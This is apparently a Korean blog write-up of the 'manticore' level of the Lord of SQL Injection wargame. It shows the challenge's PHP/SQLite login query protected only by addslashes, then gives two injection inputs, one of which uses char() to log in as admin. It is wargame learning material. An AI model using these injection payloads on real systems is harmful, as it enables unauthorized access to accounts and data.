[LOS] manticore

Yennytime·2023년 1월 20일
0

Lord of SQL Injection

목록 보기
18/20
post-thumbnail

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/manticore.db");
  $_GET['id'] = addslashes($_GET['id']);
  $_GET['pw'] = addslashes($_GET['pw']);
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("manticore");
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

🔹 $_GET[id], $_GET[pw] 파라미터 필터링

⭐ addslashes(string str)
매개변수로 넘겨준 문자열 안에 작은 따옴표('), 큰 따옴표("), 백슬래시(\), NULL가 포함되어 있다면 해당 문자 앞에 백슬래시(\)를 추가 해주는 함수


🔺 풀이 과정

  1. id=\&pw=or 1=1 -- -

succubus 문제와 비슷해서 한번 출력해봤더니 그대로 출력은 된다.

  1. id=' or id=char(97,100,109,105,110)-- -

adminchar로 바꿔서 풀었다. (green_dragon 풀이를 참고했다.)

profile
It's Yennytime💙

0개의 댓글